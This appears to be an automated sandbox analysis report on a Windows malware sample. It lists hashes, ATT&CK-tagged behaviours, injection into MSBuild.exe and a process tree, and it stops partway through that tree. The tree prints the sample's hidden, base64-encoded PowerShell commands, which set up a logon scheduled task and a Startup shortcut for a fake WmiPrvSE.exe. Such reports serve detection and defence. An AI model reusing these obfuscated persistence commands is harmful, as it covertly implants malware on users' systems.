aaf1f7cd9a7437ee3413d9231a65dfa0fd70044769c7f536d6374845bfa35987

Analysis

max time kernel
127s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/08/2026, 06:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4947cf645c53e7edb4885d752d08c200.exe
Size 1.9MB
Sample260820-gwtpdatvax
SHA256 aaf1f7cd9a7437ee3413d9231a65dfa0fd70044769c7f536d6374845bfa35987
MD5 4947cf645c53e7edb4885d752d08c200
SHA1 f0344f54faffb88647ee0cd072612d805fc9b707
SHA512 5d2b0134608e62ca1ce9372db7b6a6277e9389f83b204937ab10bfcd0dce7ae94baa780c71dd08f4b370eca426b8545b9ed995fec0e8eb6d22da378099f84eed
SSDEEP 24576:puNbZd/glUtkd3/gYtGChUiLgbVYteOCPWkFTosj7A0yGi:puNbZd/gt7UiLMF1FToso0O
TLSH
T18195ED212BE95558F6777E36DBFAB255EA7FF37229068B4B0514834B0622502CF83C39
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2196	powershell.exe
3748	powershell.exe
1832	powershell.exe
3608	powershell.exe
624	powershell.exe
4104	powershell.exe
2108	powershell.exe
6032	powershell.exe
2952	powershell.exe
3832	powershell.exe
2428	powershell.exe
2032	powershell.exe
5792	powershell.exe
5240	powershell.exe
5028	powershell.exe
956	powershell.exe
672	powershell.exe
1368	powershell.exe
5088	powershell.exe

Creates a file in the Startup directory 1 TTPs 8 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4572	WmiPrvSE.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\WmiPrvSE.exe\""	4947cf645c53e7edb4885d752d08c200.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\WmiPrvSE.exe\""	4947cf645c53e7edb4885d752d08c200.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4572 set thread context of 5528	4572	WmiPrvSE.exe	89
PID 1688 set thread context of 4824	1688	4947cf645c53e7edb4885d752d08c200.exe	94

System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WmiPrvSE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4947cf645c53e7edb4885d752d08c200.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5528	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
672	powershell.exe
672	powershell.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
2032	powershell.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
2032	powershell.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
5528	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe
4824	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1688	4947cf645c53e7edb4885d752d08c200.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeDebugPrivilege	5528	MSBuild.exe
Token: SeIncreaseQuotaPrivilege	672	powershell.exe
Token: SeSecurityPrivilege	672	powershell.exe
Token: SeTakeOwnershipPrivilege	672	powershell.exe
Token: SeLoadDriverPrivilege	672	powershell.exe
Token: SeSystemProfilePrivilege	672	powershell.exe
Token: SeSystemtimePrivilege	672	powershell.exe
Token: SeProfSingleProcessPrivilege	672	powershell.exe
Token: SeIncBasePriorityPrivilege	672	powershell.exe
Token: SeCreatePagefilePrivilege	672	powershell.exe
Token: SeBackupPrivilege	672	powershell.exe
Token: SeRestorePrivilege	672	powershell.exe
Token: SeShutdownPrivilege	672	powershell.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeSystemEnvironmentPrivilege	672	powershell.exe
Token: SeRemoteShutdownPrivilege	672	powershell.exe
Token: SeUndockPrivilege	672	powershell.exe
Token: SeManageVolumePrivilege	672	powershell.exe
Token: 33	672	powershell.exe
Token: 34	672	powershell.exe
Token: 35	672	powershell.exe
Token: 36	672	powershell.exe
Token: SeIncreaseQuotaPrivilege	672	powershell.exe
Token: SeSecurityPrivilege	672	powershell.exe
Token: SeTakeOwnershipPrivilege	672	powershell.exe
Token: SeLoadDriverPrivilege	672	powershell.exe
Token: SeSystemProfilePrivilege	672	powershell.exe
Token: SeSystemtimePrivilege	672	powershell.exe
Token: SeProfSingleProcessPrivilege	672	powershell.exe
Token: SeIncBasePriorityPrivilege	672	powershell.exe
Token: SeCreatePagefilePrivilege	672	powershell.exe
Token: SeBackupPrivilege	672	powershell.exe
Token: SeRestorePrivilege	672	powershell.exe
Token: SeShutdownPrivilege	672	powershell.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeSystemEnvironmentPrivilege	672	powershell.exe
Token: SeRemoteShutdownPrivilege	672	powershell.exe
Token: SeUndockPrivilege	672	powershell.exe
Token: SeManageVolumePrivilege	672	powershell.exe
Token: 33	672	powershell.exe
Token: 34	672	powershell.exe
Token: 35	672	powershell.exe
Token: 36	672	powershell.exe
Token: SeIncreaseQuotaPrivilege	672	powershell.exe
Token: SeSecurityPrivilege	672	powershell.exe
Token: SeTakeOwnershipPrivilege	672	powershell.exe
Token: SeLoadDriverPrivilege	672	powershell.exe
Token: SeSystemProfilePrivilege	672	powershell.exe
Token: SeSystemtimePrivilege	672	powershell.exe
Token: SeProfSingleProcessPrivilege	672	powershell.exe
Token: SeIncBasePriorityPrivilege	672	powershell.exe
Token: SeCreatePagefilePrivilege	672	powershell.exe
Token: SeBackupPrivilege	672	powershell.exe
Token: SeRestorePrivilege	672	powershell.exe
Token: SeShutdownPrivilege	672	powershell.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeSystemEnvironmentPrivilege	672	powershell.exe
Token: SeRemoteShutdownPrivilege	672	powershell.exe
Token: SeUndockPrivilege	672	powershell.exe
Token: SeManageVolumePrivilege	672	powershell.exe
Token: 33	672	powershell.exe
Token: 34	672	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 672	1688	4947cf645c53e7edb4885d752d08c200.exe	85
PID 4572 wrote to memory of 5528	4572	WmiPrvSE.exe	89
PID 4572 wrote to memory of 5528	4572	WmiPrvSE.exe	89
PID 4572 wrote to memory of 5528	4572	WmiPrvSE.exe	89
PID 4572 wrote to memory of 5528	4572	WmiPrvSE.exe	89
PID 4572 wrote to memory of 5528	4572	WmiPrvSE.exe	89
PID 1688 wrote to memory of 2032	1688	4947cf645c53e7edb4885d752d08c200.exe	91
PID 1688 wrote to memory of 4824	1688	4947cf645c53e7edb4885d752d08c200.exe	94
PID 1688 wrote to memory of 4824	1688	4947cf645c53e7edb4885d752d08c200.exe	94
PID 1688 wrote to memory of 4824	1688	4947cf645c53e7edb4885d752d08c200.exe	94
PID 1688 wrote to memory of 4824	1688	4947cf645c53e7edb4885d752d08c200.exe	94
PID 1688 wrote to memory of 4824	1688	4947cf645c53e7edb4885d752d08c200.exe	94
PID 1688 wrote to memory of 5792	1688	4947cf645c53e7edb4885d752d08c200.exe	95
PID 1688 wrote to memory of 1368	1688	4947cf645c53e7edb4885d752d08c200.exe	97
PID 1688 wrote to memory of 1832	1688	4947cf645c53e7edb4885d752d08c200.exe	99
PID 1688 wrote to memory of 2108	1688	4947cf645c53e7edb4885d752d08c200.exe	102
PID 1688 wrote to memory of 6032	1688	4947cf645c53e7edb4885d752d08c200.exe	104
PID 1688 wrote to memory of 2952	1688	4947cf645c53e7edb4885d752d08c200.exe	106
PID 1688 wrote to memory of 5088	1688	4947cf645c53e7edb4885d752d08c200.exe	108
PID 1688 wrote to memory of 3608	1688	4947cf645c53e7edb4885d752d08c200.exe	110
PID 1688 wrote to memory of 2196	1688	4947cf645c53e7edb4885d752d08c200.exe	114
PID 1688 wrote to memory of 624	1688	4947cf645c53e7edb4885d752d08c200.exe	117
PID 1688 wrote to memory of 5240	1688	4947cf645c53e7edb4885d752d08c200.exe	122
PID 1688 wrote to memory of 5028	1688	4947cf645c53e7edb4885d752d08c200.exe	124
PID 1688 wrote to memory of 3832	1688	4947cf645c53e7edb4885d752d08c200.exe	126
PID 1688 wrote to memory of 2428	1688	4947cf645c53e7edb4885d752d08c200.exe	128
PID 1688 wrote to memory of 956	1688	4947cf645c53e7edb4885d752d08c200.exe	130

C:\Users\Admin\AppData\Local\Temp\4947cf645c53e7edb4885d752d08c200.exe
"C:\Users\Admin\AppData\Local\Temp\4947cf645c53e7edb4885d752d08c200.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:672
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2032
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:5792
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - System Location Discovery: System Language Discovery
  PID:1368
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:1832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - System Location Discovery: System Language Discovery
  PID:2108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:6032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
  2⤵
